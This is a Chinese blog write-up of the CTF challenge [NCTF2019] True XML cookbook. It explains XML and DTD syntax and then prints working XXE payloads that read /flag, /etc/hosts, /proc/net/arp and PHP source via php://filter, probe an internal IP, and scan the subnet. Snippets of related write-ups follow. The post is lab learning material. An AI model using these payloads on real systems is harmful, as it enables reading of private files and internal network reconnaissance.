代码编织梦想

打开环境,看到熟悉的页面,和前面的[NCTF2019]Fake XML cookbook页面一样,应该也是XXE漏洞,这里再介绍一下XXE漏洞

XXE(XML External Entity Injection)全称为XML外部实体注入。

XML是什么?

XML指可扩展标记语言(EXtensible Markup Language),其设计宗旨是传输数据,而不是显示数据,用来结构化、存储以及传输信息,它没有预定义的标签。XML 和 HTML 之间的差异是什么?

设计目的不同:XML 被设计用来传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息,而 XML 旨在传输信息。

总的来说:我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

XML基本格式与基本语法:

基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>               <!--xml文件的声明-->

<bookstore>                                                                                          <!--根元素-->

<book category="COOKING">                             <!--bookstore的子元素,category为属性-->

<title>Everyday Italian</title>                                <!--book的子元素,lang为属性-->

<author>Giada De Laurentiis</author>                 <!--book的子元素-->

<year>2005</year>                                               <!--book的子元素-->

<price>30.00</price>                                             <!--book的子元素-->

</book>                                                                  <!--book的结束-->

</bookstore>                                                          <!--bookstore的结束-->

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

基本语法:

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

 什么是DTO?

DTD基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

实体引用
XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用&lt; &gt; &amp; &apos; &quot; 替换 < > & ' " 。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。

DTD的引入方式
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
 

内部 DTD
使用内部的dtd文件,即将约束规则定义在xml文档中

<!DOCTYPE 根元素名称 [元素声明]>

 外部 DTD
(1)引入外部的dtd文件

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

(2)使用外部的dtd文件(网络上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

当使用外部DTD时,通过如下语法引入:

<!DOCTYPE root-element SYSTEM "filename">

 其他更多的相关基础知识看看这篇博客:https://xz.aliyun.com/t/6887#toc-0

回到此题,提交数据抓包后:

 发现是xxe漏洞,试试用file协议直接读取一下flag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///flag">
 ]>
<user><username>&abc;</username><password>123456</password></user>

 没成功,多半说明是没有/flag这个文件才报的错,知道了路径,读一下源码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///var/www/html/doLogin.php">
 ]>
<user><username>&abc;</username><password>123456</password></user>

 

 

file协议没成功,那就用php协议:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
 ]>
<user><username>&abc;</username><password>123456</password></user>

成功读取,解密得:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

没啥用,丝毫没有看到有帮助的信息。

还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///etc/hosts">
 ]>
<user><username>&abc;</username><password>123456</password></user>

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///proc/net/arp">
 ]>
<user><username>&abc;</username><password>123456</password></user>

这里就发现了一个ip了,尝试读取 :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "http://10.0.2.2">
 ]>
<user><username>&abc;</username><password>123456</password></user>

有报错,使用intruder扫描c段,即扫描一下ip最后一位:

 

 得到答案

总的来说,主机上面没有flag,需要去看hosts文件看看内网的主机是否有flag

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_52907838/article/details/119380650

[NCTF2019]Fake XML cookbook-爱代码爱编程

知识点 xml实体注入 题目提示XML,可知为XXE攻击,原理参考https://www.freebuf.com/vuls/175451.html 简要来讲就是客户端向服务器发送了XML数据,这个数据能被我们控制,这样我们就可以增加一个恶意的外部实体,实现攻击 先抓包   这里看到username和password都是x

2020/7/07 - [NCTF2019]True XML cookbook - xxe-爱代码爱编程

我准备发两份,一份发到这里,另一份发到CSDN上面,这里的内容浏览器不好搜到,别人看不到,无趣 第二道xxe类型的题了。Content-Type: application/xml;charset=utf-8看看这熟悉的内容,好吧,第一道payload为 <?xml version="1.0" encoding="UTF-8"?> <!

[NCTF2019]True XML cookbook 记录-爱代码爱编程

提交抓包发现是xxe 先拿XXE漏洞poc读/flag <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE hack [ <!ENTITY file SYSTEM "file:///flag"> ]> <user> <username>&a

[NCTF2019]True XML cookbook(xxe技巧)-爱代码爱编程

前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 题目 进到去跟fack那个题目差不多,直接用那里的payload看看 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [

[NCTF2019]True XML cookbook 1-爱代码爱编程

之前写了个fake 这次又来个ture 打开环境 明确是xxe 直接抓包 回显位还是1 试试直接读flag <?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY M1kael SYSTEM "file:///flag"> ]> <user> <usernam

[ctf web]XXE通过DTD读取文件+XML和DTD基础语法(以[ctfshow]web_ak4观心和[NCTF2019]Fake XML cookbook为例)-爱代码爱编程

XML基础 XML文件可以分为三部分: XML声明 <?xml version ="1.0" encoding="UTF-8"?>DTD文档定义类型。文档元素 <foo><note category="COOKING"></note></foo> 根元素foo,子元素note,属性catego